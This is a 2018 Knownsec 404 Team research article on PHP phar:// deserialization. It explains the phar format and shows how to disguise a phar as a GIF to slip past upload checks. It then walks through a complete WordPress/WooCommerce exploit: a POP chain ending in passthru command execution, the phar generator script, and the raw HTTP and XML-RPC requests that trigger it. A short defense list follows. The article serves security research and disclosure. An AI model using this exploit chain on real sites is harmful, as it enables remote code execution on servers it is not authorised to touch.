Author: Knownsec 404 Team
Date: August 23, 2018
Chinese Version: https://paper.seebug.org/680/

0x01 Introducton

When we usually exploit the deserialization vulnerability, we can only send the serialized string to unserialize(). As the code becomes more and more secure, it is more and more difficult to exploit. But on the Black Hat 2018, the security researcher Sam Thomas shared the topic: It’s a PHP unserialization vulnerability Jim, but not as we know it. Since the phar file stores user-defined meta-data in serialized form, the attack surface of the PHP deserialization vulnerability has been extended. With the parameter of filesystem function (file_exists(), is_dir(), etc.) under control, this method can be used with phar:// pseudo-protocol to directly perform deserialization without relying on unserialize(). This makes some functions that previously seemed "harmless" become "insidious". Let's take a look at these attacks.

0x02 Principles Analysis

2.1 The Phar File Structure

Before we learn about the attacks, we need to firstly look at the file structure of the phar, and it consists of four parts:

1. A Stub

It can be interpreted as a flag and the format is xxx<?php xxx; __HALT_COMPILER();?>.The front content is not limited, but it must end with __HALT_COMPILER();?>, otherwise the phar extension will not recognize this file as a phar file.

2. A Manifest Describing the Contents

A phar file is essentially a compressed file, in which the permissions, attributes and other information of each compressed file are included. This section also stores user-defined meta-data in serialized form, which is the core of the above attacks.

3. The File Contents

It’s the contents of the compressed file.

4. [optional] a signature for verifying Phar integrity (phar file format only)

The format is as follows:

2.2 Demo

Construct a phar file according to the file structure, and PHP has a built-in phar class to handle related operations.

PS: Set the phar.readonly option in php.ini to Off, otherwise the phar file cannot be generated.

phar_gen.php

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

It can be clearly seen that meta-data is stored in serialized form:

Since there is serialization data, there must be deserialization operation. Most filesystem functions in PHP will deserialize meta-data when parsing phar files through phar:// pseudo-protocol. The affected functions after the test are as follows:

Here's how the underlying PHP code works:

php-src/ext/phar/phar.c

Verify via the demo:

phar_test1.php

<?php 
    class TestObject {
        public function __destruct() {
            echo 'Destruct called';
        }
    }

    $filename = 'phar://phar.phar/test.txt';
    file_get_contents($filename); 
?>

Other functions are certainly feasible:

phar_test2.php

<?php 
    class TestObject {
        public function __destruct() {
            echo 'Destruct called';
        }
    }

    $filename = 'phar://phar.phar/a_random_string';
    file_exists($filename);
    //......
 ?>

When the parameters of filesystem function are controllable, we can deserialize it without calling unserialize(), and some functions that previously seemed "harmless" become "insidious," greatly expanding the attack surface.

2.3 Forge phar into files in other formats

In the previous analysis of phar's file structure, you may have noticed that PHP identifies phar file through the stub of its file header, or more specifically it’s by __HALT_COMPILER();?>, and the previous content or suffix name is not restrained. We can then forge the phar file into other formats by adding arbitrary file headers and modifying the suffix name.

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

This method can bypass a large part of the upload detection.

0x03 Exploitation

3.1 Exploitation Conditions

  1. Phar files should be able to be uploaded to the server.

  2. There is a magic trick available as a "springboard".

  3. The parameters of file operation function are controllable, and some special characters such as :/phar are not filtered.

3.2 Wordpress

Wordpress is the most widely-used cms on the Internet. This vulnerability was reported to the official in February 2017, but it has not been fixed yet. The previous arbitrary file deletion vulnerabilities also appeared in this part of the code, and there was no fix. According to the exploitation conditions, we must first construct a phar file.

Find out the class methods that can execute arbitrary code:

wp-includes/Requests/Utility/FilteredIterator.php

class Requests_Utility_FilteredIterator extends ArrayIterator {
    /**
    * Callback to run as a filter
    *
    * @var callable
    */
    protected $callback;
    ...
    public function current() {
        $value = parent::current();
        $value = call_user_func($this->callback, $value);
        return $value;
    }
}

This class inherits ArrayIterator, and the current() method is called every time the object instantiated by this class enters foreach to be traversed. Next we need to find a destructor that uses foreach internally. Unfortunately, there are no proper classes in the core code of wordpress, so we have to start with plugins.Here is a class that can be exploited in the WooCommerce plugin:

wp-content/plugins/woocommerce/includes/log-handlers/class-wc-log-handler-file.php

class WC_Log_Handler_File extends WC_Log_Handler {
    protected $handles = array();
    /*......*/
    public function __destruct() {
        foreach ( $this->handles as $handle ) {
            if ( is_resource( $handle ) ) {
                fclose( $handle ); // @codingStandardsIgnoreLine.
            }
        }
    }
    /*......*/
}

Here we have finished constructing the pop chain, and we construct the phar file accordingly:

<?php
    class Requests_Utility_FilteredIterator extends ArrayIterator {
        protected $callback;
        public function __construct($data, $callback) {
            parent::__construct($data);
            $this->callback = $callback;
        }
    }

    class WC_Log_Handler_File {
        protected $handles;
        public function __construct() {
            $this->handles = new Requests_Utility_FilteredIterator(array('id'), 'passthru');
        }
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub, 增加gif文件头,伪造文件类型
    $o = new WC_Log_Handler_File();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

After changing the suffix to "gif", you can upload it in the background or through the XMLRPC interface, both of which requires author permissions or above. Write down the file name and post_ID after uploading.

Next we have to find a filesystem function whose parameter is controllable:

wp-includes/post.php

function wp_get_attachment_thumb_file( $post_id = 0 ) {
    $post_id = (int) $post_id;
    if ( !$post = get_post( $post_id ) )
        return false;
    if ( !is_array( $imagedata = wp_get_attachment_metadata( $post->ID ) ) )
        return false;

    $file = get_attached_file( $post->ID );

    if ( !empty($imagedata['thumb']) && ($thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)) && file_exists($thumbfile) ) {
        /**
         * Filters the attachment thumbnail file path.
         *
         * @since 2.1.0
         *
         * @param string $thumbfile File path to the attachment thumbnail.
         * @param int    $post_id   Attachment ID.
         */
        return apply_filters( 'wp_get_attachment_thumb_file', $thumbfile, $post->ID );
    }
    return false;
}

This function can be accessed by calling the "wp.getMediaItem" method via XMLRPC. The variable $thumbfile send file_exists(), which is exactly what we need. Now we need to trace back to the $thumbfile variable to see if it's controllable.

According to $thumbfile = str_replace(basename($file), $imagedata['thumb'], $file), if basename($file) is the same as $file, the value of $thumbfile is just that of $imagedata['thumb']. Firstly, let's see how $file is obtained:

wp-includes/post.php

function get_attached_file( $attachment_id, $unfiltered = false ) {
    $file = get_post_meta( $attachment_id, '_wp_attached_file', true );

    // If the file is relative, prepend upload dir.
    if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {
        $file = $uploads['basedir'] . "/$file";
    }

    if ( $unfiltered ) {
        return $file;
    }

    /**
     * Filters the attached file based on the given ID.
     *
     * @since 2.1.0
     *
     * @param string $file          Path to attached file.
     * @param int    $attachment_id Attachment ID.
     */
    return apply_filters( 'get_attached_file', $file, $attachment_id );
}

If $file is a path Z:\Z similar to the Windows drive letter, the RegExp will fail, and $file will not splice anything else. In this case, you can ensure that basename($file) is the same as $file.

You can call the value of setting $file by sending the following packet:

POST /wordpress/wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 147
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/wordpress/wp-admin/post.php?post=10&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7Cb16569744dd9059a1fafaad1c21cfdbf90fc67aed30e322c9f570b145c3ec516; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7C5c9f11cf65b9a38d65629b40421361a2ef77abe24743de30c984cf69a967e503; wp-settings-time-2=1534912264; XDEBUG_SESSION=PHPSTORM
Connection: close

_wpnonce=1da6c638f9&_wp_http_referer=%2Fwp-
admin%2Fpost.php%3Fpost%3D16%26action%3Dedit&action=editpost&post_type=attachment&post_ID=11&file=Z:\Z

You can also set the value of $imagedata['thumb'] by sending the following packet:

POST /wordpress/wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 184
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/wordpress/wp-admin/post.php?post=10&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7Cb16569744dd9059a1fafaad1c21cfdbf90fc67aed30e322c9f570b145c3ec516; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7C5c9f11cf65b9a38d65629b40421361a2ef77abe24743de30c984cf69a967e503; wp-settings-time-2=1534912264; XDEBUG_SESSION=PHPSTORM
Connection: close

_wpnonce=1da6c638f9&_wp_http_referer=%2Fwp-
admin%2Fpost.php%3Fpost%3D16%26action%3Dedit&action=editattachment&post_ID=11&thumb=phar://./wp-content/uploads/2018/08/phar-1.gif/blah.txt

_wpnonce is available on the modification page.

Finally, the wp_get_attachment_thumb_file() function is called by calling "wp.getMediaItem" via XMLRPC to trigger deserialization. The data package called via XML is as follows:

POST /wordpress/xmlrpc.php HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml
Cookie: XDEBUG_SESSION=PHPSTORM
Content-Length: 529
Connection: close

<?xml version="1.0" encoding="utf-8"?>

<methodCall> 
  <methodName>wp.getMediaItem</methodName>  
  <params> 
    <param> 
      <value> 
        <string>1</string> 
      </value> 
    </param>  
    <param> 
      <value> 
        <string>author</string> 
      </value> 
    </param>  
    <param> 
      <value> 
        <string>you_password</string>
      </value> 
    </param>  
    <param> 
      <value> 
        <int>11</int> 
      </value> 
    </param> 
  </params> 
</methodCall>

0x04 Defense

  1. When the parameters of filesystem function are controllable, filter the parameters strictly.

  2. Strictly check the contents of the uploaded file, not just the header.

  3. Conditions permitting, disable dangerous functions that can execute system commands and code.

0x05 Reference

  1. https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf
  2. http://php.net/manual/en/intro.phar.php
  3. http://php.net/manual/en/phar.fileformat.ingredients.php
  4. http://php.net/manual/en/phar.fileformat.signature.php
  5. https://www.owasp.org/images/9/9e/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf

About Knownsec & 404 Team

Beijing Knownsec Information Technology Co., Ltd. was established by a group of high-profile international security experts. It has over a hundred frontier security talents nationwide as the core security research team to provide long-term internationally advanced network security solutions for the government and enterprises.

Knownsec's specialties include network attack and defense integrated technologies and product R&D under new situations. It provides visualization solutions that meet the world-class security technology standards and enhances the security monitoring, alarm and defense abilities of customer networks with its industry-leading capabilities in cloud computing and big data processing. The company's technical strength is strongly recognized by the State Ministry of Public Security, the Central Government Procurement Center, the Ministry of Industry and Information Technology (MIIT), China National Vulnerability Database of Information Security (CNNVD), the Central Bank, the Hong Kong Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.

404 Team, the core security team of Knownsec, is dedicated to the research of security vulnerability and offensive and defensive technology in the fields of Web, IoT, industrial control, blockchain, etc. 404 team has submitted vulnerability research to many well-known vendors such as Microsoft, Apple, Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the industry.

The most well-known sharing of Knownsec 404 Team includes: KCon Hacking Conference, Seebug Vulnerability Database and ZoomEye Cyberspace Search Engine.


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/988/